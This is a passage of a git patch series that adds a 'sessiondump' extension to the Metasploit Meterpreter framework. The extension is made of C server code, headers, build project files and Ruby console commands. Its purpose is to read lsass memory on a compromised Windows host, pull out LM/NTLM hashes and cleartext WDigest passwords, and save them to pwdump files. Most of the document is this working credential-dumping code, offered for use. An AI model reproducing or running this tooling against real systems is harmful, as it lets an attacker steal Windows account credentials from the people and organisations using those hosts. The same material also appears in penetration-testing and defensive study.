HEAP_ZERO_MEMORY, SMALL_BUFFER_SIZE); + systemroot = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SMALL_BUFFER_SIZE); + + // get absolute path to DLL in system32 directory + GetEnvironmentVariable(_T("systemroot"), systemroot, SMALL_BUFFER_SIZE); + _sntprintf_s(dllpath, SMALL_BUFFER_SIZE, _TRUNCATE, _T("%s\\System32\\%s"), systemroot, dll_name); + OutputDebugString(dllpath); + + // get DLL version + dwFileVersionSize = GetFileVersionInfoSize(_T(dllpath), NULL); + if (dwFileVersionSize){ + lpFileVersionInfo = (LPBYTE) calloc(dwFileVersionSize, sizeof(BYTE)); + if (GetFileVersionInfo(_T(dllpath), NULL, dwFileVersionSize, lpFileVersionInfo)){ + if (VerQueryValue(lpFileVersionInfo, _T("\\"), &lpFileInfo, &lpFileInfoSize)){ + _sntprintf_s(lpszDllVersion, SMALL_BUFFER_SIZE, _TRUNCATE, _T("%d.%d.%d.%d"), HIWORD(lpFileInfo->dwFileVersionMS), LOWORD(lpFileInfo->dwFileVersionMS), \ + HIWORD(lpFileInfo->dwFileVersionLS), LOWORD(lpFileInfo->dwFileVersionLS)); + } + } + } + + packet_add_tlv_string(response, TLV_TYPE_VERSION_DLL_ANSWER, lpszDllVersion); + packet_transmit_response(res, remote, response); + + lpFileInfo = NULL; + if (lpFileVersionInfo) free(lpFileVersionInfo); lpFileVersionInfo = NULL; + if (dllpath) HeapFree(GetProcessHeap(), 0, dllpath); dllpath = NULL; + if (systemroot) HeapFree(GetProcessHeap(), 0, systemroot); systemroot = NULL; + return res; +}; + + +Command customCommands[] = +{ + { "getHashes", + { getPasswordHashes, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "getWdigestPasswords", + { getWdigestPasswords, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + { "getDllVer", + { getDllVersion, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + + // Terminator + { NULL, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER }, + }, +}; + +/* + * Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + DWORD index; + + hMetSrv = remote->hMetSrv; + + for (index = 0; + customCommands[index].method; + index++) + command_register(&customCommands[index]); + + return ERROR_SUCCESS; +} + +/* + * Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + DWORD index; + + for (index = 0; + customCommands[index].method; + index++) + command_deregister(&customCommands[index]); + + return ERROR_SUCCESS; +} diff --git a/external/source/meterpreter/source/extensions/sessiondump/sessiondump.h b/external/source/meterpreter/source/extensions/sessiondump/sessiondump.h new file mode 100755 index 000000000000..5e3f07ed8ec9 --- /dev/null +++ b/external/source/meterpreter/source/extensions/sessiondump/sessiondump.h @@ -0,0 +1,74 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_SESSIONDUMP_SESSIONDUMP_H + +#include "core.h" + +#define _METERPRETER_SOURCE_EXTENSION_SESSIONDUMP_SESSIONDUMP_H +#define TLV_TYPE_EXTENSION_SESSIONDUMP 0 + +// Error codes to communicate with Meterpreter when something fail +#define ERROR_SESSIONDUMP_PROCESS 1 +#define ERROR_SESSIONDUMP_GET_DATA_IN_MEMORY 2 +#define ERROR_SESSIONDUMP_GET_HASHES 3 +#define ERROR_SESSIONDUMP_GET_WDIGEST_PASSWORDS 4 + +#define TLV_TYPE_ERROR \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 1) + +#define TLV_TYPE_VERSION_DLL_REQUEST \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 2) + +#define TLV_TYPE_VERSION_DLL_ANSWER \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 3) + +#define TLV_TYPE_SYMBOLS_NAME \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 4) + +#define TLV_TYPE_SYMBOLS_ADDR \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_RAW, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 5) + +#define TLV_TYPE_DOMAIN \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 6) + +#define TLV_TYPE_USER \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 7) + +#define TLV_TYPE_PWD \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 8) + +#define TLV_TYPE_LM \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 9) + +#define TLV_TYPE_NTLM \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_SESSIONDUMP, \ + TLV_EXTENSIONS + 10) + +#endif diff --git a/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcproj b/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcproj new file mode 100755 index 000000000000..c6ae965d8877 --- /dev/null +++ b/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcproj @@ -0,0 +1,411 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcxproj b/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcxproj new file mode 100644 index 000000000000..b4e0947b5c76 --- /dev/null +++ b/external/source/meterpreter/workspace/ext_server_sessiondump/ext_server_sessiondump.vcxproj @@ -0,0 +1,239 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + + + + + + + + + + {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} + false + + + {72f0246a-a38d-4547-9057-46020e8e503d} + false + + + + {C427F2B9-C287-4BDA-A6BB-401FC14E207C} + ext_server_sessiondump + Win32Proj + + + + DynamicLibrary + MultiByte + false + + + DynamicLibrary + Unicode + + + DynamicLibrary + MultiByte + false + + + DynamicLibrary + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + .\Release\ + .\Release\ + false + false + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + $(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + false + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SESSIONDUMP_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDLL + + + Level3 + EditAndContinue + + + netapi32.lib mpr.lib %(AdditionalOptions) + true + Windows + MachineX86 + + + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\extensions\sessiondump;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SESSIONDUMP_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + .\Release/ + .\Release/ + .\Release/ + Level3 + ProgramDatabase + + + Netapi32.lib;Mpr.lib;metsrv.lib;version.lib;bcrypt.lib;%(AdditionalDependencies) + .\Release/ext_server_sessiondump.dll + ..\metsrv\Release;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + .\Release/ext_server_sessiondump.map + NotSet + + + + + false + + + .\Release/ext_server_sessiondump.lib + MachineX86 + false + + + copy /y "$(ProjectDir)\release\ext_server_sessiondump.dll" "$(ProjectDir)..\..\output\" + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SESSIONDUMP_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDLL + + + Level3 + ProgramDatabase + + + netapi32.lib mpr.lib %(AdditionalOptions) + true + Windows + MachineX64 + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\extensions\sessiondump;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SESSIONDUMP_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + true + + + .\Release/ + .\Release/ + .\Release/ + Level3 + ProgramDatabase + + + Netapi32.lib;Mpr.lib;metsrv.lib;version.lib;bcrypt.lib;%(AdditionalDependencies) + .\Release\ext_server_sessiondump.x64.dll + ..\metsrv\Release;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + .\Release/ext_server_sessiondump.map + NotSet + + + + + false + + + .\Release/ext_server_sessiondump.lib + MachineX64 + false + + + copy /y "$(ProjectDir)\release\ext_server_sessiondump.x64.dll" "$(ProjectDir)..\..\output\" + + + + + + \ No newline at end of file diff --git a/lib/rex/post/meterpreter/extensions/sessiondump/sessiondump.rb b/lib/rex/post/meterpreter/extensions/sessiondump/sessiondump.rb new file mode 100755 index 000000000000..98864c0c375c --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/sessiondump/sessiondump.rb @@ -0,0 +1,176 @@ +#!/usr/bin/env ruby + +require 'rex/post/meterpreter/extensions/sessiondump/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module SessionDump + +### +# +# This meterpreter extension can be used to dump hashes and passwords from memory +# Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 +# Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) +# http://www.hsc.fr/ressources/outils/sessiondump/index.html.en +# +### +class SessionDump < Extension + + def initialize(client) + super(client, 'sessiondump') + + client.register_extension_aliases( + [ + { + 'name' => 'sessiondump', + 'ext' => self + }, + ]) + end + + def read_csv_file(file_path, dll_name) + # Read CSV file containing offsets for lsasrv.dll or wdigest.dll + f = open(file_path, 'r') + f_content = f.readlines() + f.close() + + csv_parsed = {} + f_content.each do |l| + line_parsed = l.split(',') + + if dll_name == 'lsasrv.dll' + csv_parsed["#{line_parsed[0]}.#{line_parsed[1]}"] = { + 'encryptmemory' => line_parsed[2], + 'logon_session_list_addr' => line_parsed[3], + 'logon_session_list_count' => line_parsed[4], + 'feedback_addr' => line_parsed[5], + 'deskey_ptr_addr' => line_parsed[6], + 'threedeskey_ptr_addr' => line_parsed[7], + 'iv_addr' => line_parsed[8].chomp.chomp} + elsif dll_name == 'wdigest.dll' + csv_parsed["#{line_parsed[0]}.#{line_parsed[1]}"] = { + 'wdigest_session_list' => line_parsed[2].chomp.chomp} + end + end + return csv_parsed + end + + def read_csv_input(dll_name, csv_data) + # Read offsets passed to get_hashes and get_password via -i option + input_parsed = csv_data.split(',', 8) + + csv_parsed = {} + if dll_name == 'lsasrv.dll' + if input_parsed.size() < 7 + return nil + end + csv_parsed['encryptmemory'] = input_parsed[0].to_i + csv_parsed['logon_session_list_addr'] = input_parsed[1].to_i + csv_parsed['logon_session_list_count'] = input_parsed[2].to_i + csv_parsed['feedback_addr'] = input_parsed[3].to_i + csv_parsed['deskey_ptr_addr'] = input_parsed[4].to_i + csv_parsed['threedeskey_ptr_addr'] = input_parsed[5].to_i + csv_parsed['iv_addr'] = input_parsed[6].to_i + end + if dll_name == 'wdigest.dll' + if input_parsed.size() != 8 + return nil + end + csv_parsed['wdigest_session_list'] = input_parsed[7].to_i + end + return csv_parsed + end + + def get_dll_version(dll_name) + # Get version of lsasrv.dll or wdigest.dll + req = Packet.create_request('getDllVer') + req.add_tlv(TLV_TYPE_VERSION_DLL_REQUEST, dll_name) + res = client.send_request(req) + dll_version = res.get_tlv_value(TLV_TYPE_VERSION_DLL_ANSWER) + if dll_version == "error" + return nil + else + return dll_version + end + end + + def get_symbols_addresses(path_file, dll_version, dll_name) + # Parse CSV file in order to get offsets relating to DLL versions of + # the compromise computer + csv_content = client.sessiondump.read_csv_file(path_file, dll_name) + arch = client.sys.config.sysinfo['Architecture'] + csv_key = "#{dll_version}.#{arch}" + + if csv_content.key?(csv_key) + symb_addr = csv_content[csv_key] + return symb_addr + else + return nil + end + end + + def get_hashes(symbols_addr) + # Extract hashes from Windows memory + req = Packet.create_request('getHashes') + symbols_addr.each_pair do |k,v| + req.add_tlv(TLV_TYPE_SYMBOLS_NAME, k) + req.add_tlv(TLV_TYPE_SYMBOLS_ADDR, v) + end + res = client.send_request(req) + + sessions = [] + session = {} + + res.each do |t| + if t.type == TLV_TYPE_ERROR + session['error'] = t.value + sessions.push(session) + elsif t.type == TLV_TYPE_DOMAIN + session['domain'] = t.value + elsif t.type == TLV_TYPE_USER + session['user'] = t.value + elsif t.type == TLV_TYPE_LM + session['lm'] = t.value + elsif t.type == TLV_TYPE_NTLM + session['ntlm'] = t.value + sessions.push(session) + session = {} + end + end + return sessions.uniq + end + + def get_wdigest_passwords(symbols_addr) + # Extract passwords from Windows memory + req = Packet.create_request('getWdigestPasswords') + symbols_addr.each_pair do |k,v| + req.add_tlv(TLV_TYPE_SYMBOLS_NAME, k) + req.add_tlv(TLV_TYPE_SYMBOLS_ADDR, v) + end + res = client.send_request(req) + + sessions = [] + session = {} + + res.each do |t| + if t.type == TLV_TYPE_ERROR + session['error'] = t.value + sessions.push(session) + elsif t.type == TLV_TYPE_DOMAIN + session['domain'] = t.value + elsif t.type == TLV_TYPE_USER + session['user'] = t.value + elsif t.type == TLV_TYPE_PWD + session['pwd'] = t.value + sessions.push(session) + session = {} + end + end + return sessions.uniq + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/sessiondump/tlv.rb b/lib/rex/post/meterpreter/extensions/sessiondump/tlv.rb new file mode 100755 index 000000000000..996c79bc72da --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/sessiondump/tlv.rb @@ -0,0 +1,37 @@ +module Rex +module Post +module Meterpreter +module Extensions +module SessionDump + +### +# +# This meterpreter extension can be used to dump hashes and passwords from memory +# Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 +# Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) +# http://www.hsc.fr/ressources/outils/sessiondump/index.html.en +# +### + +# Structure of packets used by the extension + +TLV_TYPE_ERROR = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) +# DLL version +TLV_TYPE_VERSION_DLL_REQUEST = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_VERSION_DLL_ANSWER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) + +# Symbols addresses +TLV_TYPE_SYMBOLS_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) +TLV_TYPE_SYMBOLS_ADDR = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) + +# Credentials +TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6) +TLV_TYPE_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7) +TLV_TYPE_PWD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8) +TLV_TYPE_LM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9) +TLV_TYPE_NTLM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10) +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb new file mode 100755 index 000000000000..d21e85a36dc0 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb @@ -0,0 +1,304 @@ +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# This meterpreter extension can be used to dump hashes and passwords from memory +# Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 +# Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) +# http://www.hsc.fr/ressources/outils/sessiondump/index.html.en +# +### + +ERROR_SESSIONDUMP_PROCESS = 1 +ERROR_SESSIONDUMP_GET_DATA_IN_MEMORY = 2 +ERROR_SESSIONDUMP_GET_HASHES = 3 +ERROR_SESSIONDUMP_GET_WDIGEST_PASSWORDS = 4 + + +class Console::CommandDispatcher::SessionDump + + Klass = Console::CommandDispatcher::SessionDump + + include Console::CommandDispatcher + + # + # Initializes an instance of the SessionDump command interaction. + # + def initialize(shell) + super + + @lsasrv = Hash.new + @lsasrv['version'] = nil + @lsasrv['offsets'] = nil + @lsasrv['file'] = "sessiondump_lsasrv_offsets.csv" + + @wdigest = Hash.new + @wdigest['version'] = nil + @wdigest['offsets'] = nil + @wdigest['file'] = "sessiondump_wdigest_offsets.csv" + + @dlls = Hash.new + @dlls['lsasrv.dll'] = @lsasrv + @dlls['wdigest.dll'] = @wdigest + + @errors = {ERROR_SESSIONDUMP_PROCESS => "Fail to open Lsass process. Check your rights !", + ERROR_SESSIONDUMP_GET_DATA_IN_MEMORY => "Fail to get information in memory. It can be a problem of offsets", + ERROR_SESSIONDUMP_GET_HASHES => "Fail to get hashes", + ERROR_SESSIONDUMP_GET_WDIGEST_PASSWORDS => "Fail to get Wdigest passwords"} + end + + # + # List of supported commands. + # + def commands + { + "set_lsasrv_offsets_file" => "Specify which file to use to look for Lsasrv offsets (by default use $MSF/msf3/data/sessiondump_lsasrv_offsets.csv)", + "set_wdigest_offsets_file" => "Specify which file to use to look for Wdigest offsets (by default use $MSF/msf3/data/sessiondump_wdigest_offsets.csv)", + "get_hashes" => "Dump LM hash and NTLM hash. `get_hashes output_file` will copy hashes in a file", + "get_passwords" => "Dump clear text passwords from Wdigest.dll", + "get_lsasrv_version" => "Get Lsasrv DLL version", + "get_wdigest_version" => "Get Wdigest DLL version", + } + end + + @@get_hashes_opts = Rex::Parser::Arguments.new( + '-i' => [true, "Specify offsets to use. Format : encryptmemory,list_addr,list_count,feedback,deskey,3deskey,iv"], + '-o' => [true, "Write output in .pwdump, .lm, .ntlm files. Default name: `sessiondump.{pwdump,lm,ntlm}`"] + ) + + @@get_passwords_opts = Rex::Parser::Arguments.new( + '-i' => [true, "Specify offsets to use. Format : encryptmemory,list_addr,list_count,feedback,deskey,3deskey,iv,wdigest_list"], + '-o' => [true, "Write output in a .pwd file. Default name: `sessiondump.pwd`"] + ) + + def cmd_set_lsasrv_offsets_file(*args) + if args.empty? + print_error "Argument is mandatory" + return false + elsif not ::File.file?(args[0]) + print_error "#{args[0]} is not a regular file" + return false + end + + set_dll_offsets('lsasrv.dll', args[0]) + if not @dlls['lsasrv.dll']['offsets'].nil? + print_status "Symbols addresses are loaded" + return true + end + end + + def cmd_set_lsasrv_offsets_file_tabs(str, words) + tab_complete_filenames(str, words) + end + + def cmd_set_wdigest_offsets_file(*args) + if args.empty? + print_error "Argument is mandatory" + return false + elsif not ::File.file?(args[0]) + print_error "#{args[0]} is not a regular file" + return false + end + + set_dll_offsets('wdigest.dll', args[0]) + if not @dlls['wdigest.dll']['offsets'].nil? + print_status "Symbols addresses are loaded" + return true + end + end + + def cmd_set_wdigest_offsets_file_tabs(str, words) + tab_complete_filenames(str, words) + end + + def cmd_get_passwords_help + print_line "Usage: get_passwords [options]" + print_line + print_line "Extract passwords from memory" + print_line @@get_passwords_opts.usage + end + + def cmd_get_passwords(*args) + pwd_file = nil + inline_offsets = false + + @@get_passwords_opts.parse(args) { |opt, idx, val| + case opt + when "-o" + # Export password in file + if val.nil? + val = 'sessiondump' + end + pwd_file = ::File.new("#{val}.pwd", 'a+') + when "-i" + if not val.nil? + load_inline_offsets('lsasrv.dll', val) + load_inline_offsets('wdigest.dll', val) + inline_offsets = true + end + end + } + + if (@dlls['wdigest.dll']['offsets'].nil? or @dlls['lsasrv.dll']['offsets'].nil?) and not inline_offsets + # Init DLL offsets thanks to CSV files + init_offset + end + + if not @dlls['wdigest.dll']['offsets'].nil? and not @dlls['lsasrv.dll']['offsets'].nil? + all_offsets = @dlls['wdigest.dll']['offsets'].merge(@dlls['lsasrv.dll']['offsets']) + + sessions = client.sessiondump.get_wdigest_passwords(all_offsets) + if not pwd_file.nil? + print_status "Exporting to file ..." + end + sessions.each do |s| + if s.key?('error') + print_error "#{@errors[s['error']]}" + else + output = "#{s['domain']}\\#{s['user']} : #{s['pwd']}" + print_line output + if not pwd_file.nil? + pwd_file.write("#{output}\n") + end + end + end + if not pwd_file.nil? + pwd_file.close() + end + return true + end + return false + end + + def cmd_get_hashes_help + print_line "Usage: get_hashes [options]" + print_line + print_line "Extract LM and NTLM hashes from memory" + print_line @@get_hashes_opts.usage + end + + def cmd_get_hashes(*args) + pwdump_file, lm_file, ntlm_file = nil + inline_offsets = false + + @@get_hashes_opts.parse(args) { |opt, idx, val| + case opt + when "-o" + # Export hashes in file + if val.nil? + val = 'sessiondump' + end + pwdump_file = ::File.new("#{val}.pwdump", 'a+') + lm_file = ::File.new("#{val}.lm", 'a+') + ntlm_file = ::File.new("#{val}.ntlm", 'a+') + when "-i" + if not val.nil? + load_inline_offsets('lsasrv.dll', val) + inline_offsets = true + end + end + } + + if @dlls['lsasrv.dll']['offsets'].nil? and not inline_offsets + # Init DLL offsets thanks to CSV files + init_offset + end + + if not @dlls['lsasrv.dll']['offsets'].nil? + sessions = client.sessiondump.get_hashes(@dlls['lsasrv.dll']['offsets']) + if not pwdump_file.nil? and not lm_file.nil? and not ntlm_file.nil? + print_status "Exporting to file ..." + end + sessions.each do |s| + if s.key?('error') + print_error "#{@errors[s['error']]}" + else + output = "#{s['domain']}\\#{s['user']}::#{s['lm']}:#{s['ntlm']}:::" + print_line output + if not pwdump_file.nil? and not lm_file.nil? and not ntlm_file.nil? + pwdump_file.write("#{output}\n") + lm_file.write("#{s['lm']}\n") + ntlm_file.write("#{s['ntlm']}\n") + end + end + end + if not pwdump_file.nil? and not lm_file.nil? and not ntlm_file.nil? + pwdump_file.close() + lm_file.close() + ntlm_file.close() + end + return true + end + return false + end + + def cmd_get_lsasrv_version() + print_line client.sessiondump.get_dll_version('lsasrv.dll') + return true + end + + def cmd_get_wdigest_version() + print_line client.sessiondump.get_dll_version('wdigest.dll') + return true + end + + # + # Name for this dispatcher + # + def name + "SessionDump" + end + + protected + + def set_dll_offsets(dll_name, offset_file) + # Get DLL version + @dlls[dll_name]['version'] = client.sessiondump.get_dll_version(dll_name) + + # Get symbols addresses relating to DLL version + @dlls[dll_name]['offsets'] = client.sessiondump.get_symbols_addresses(offset_file, @dlls[dll_name]['version'], dll_name) + + if @dlls[dll_name]['offsets'].nil? + print_error "#{dll_name} version #{@dlls[dll_name]['version']} (#{client.sys.config.sysinfo['Architecture']}) is not in your CSV file" + return false + end + end + + def load_inline_offsets(dll_name, inline_data) + #@dlls[dll_name]['offsets'] = client.sessiondump.read_csv_input(dll_name, inline_data) + tmp = client.sessiondump.read_csv_input(dll_name, inline_data) + if not tmp.nil? + @dlls[dll_name]['offsets'] = tmp + else + print_error "Failed to import input offsets. Check input parameters!" + end + end + + def init_offset + wdigest_offsets_file = ::File.join(Msf::Config.data_directory, @dlls['wdigest.dll']['file']) + lsasrv_offsets_file = ::File.join(Msf::Config.data_directory, @dlls['lsasrv.dll']['file']) + + dlls_offsets = Hash.new + dlls_offsets['lsasrv.dll'] = lsasrv_offsets_file + dlls_offsets['wdigest.dll'] = wdigest_offsets_file + + dlls_offsets.each do |k,v| + if ::File.file?(v) + set_dll_offsets(k, v) + else + print_error "Symbols offsets file (#{v}) not found. Please run the appropriate `set_[lsasrv|wdigest]_offsets_file` command before." + end + end + end + +end + +end +end +end +end From a707a6416cfdf9bc4b9be236fa27e4f811ae8ce1 Mon Sep 17 00:00:00 2001 From: Steeve Barbeau Date: Mon, 22 Apr 2013 14:16:01 +0200 Subject: [PATCH 2/2] Sessiondump extension to dump password/hashs This meterpreter extension can be used to dump hashes and passwords from memory Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) http://www.hsc.fr/ressources/outils/sessiondump/index.html.en --- .../ui/console/command_dispatcher/sessiondump.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb index d21e85a36dc0..b81250a98ec2 100755 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/sessiondump.rb @@ -160,7 +160,11 @@ def cmd_get_passwords(*args) if s.key?('error') print_error "#{@errors[s['error']]}" else - output = "#{s['domain']}\\#{s['user']} : #{s['pwd']}" + if s['pwd'].size() == 0 + output = "#{s['domain']}\\#{s['user']} : " + else + output = "#{s['domain']}\\#{s['user']} : #{s['pwd']}" + end print_line output if not pwd_file.nil? pwd_file.write("#{output}\n")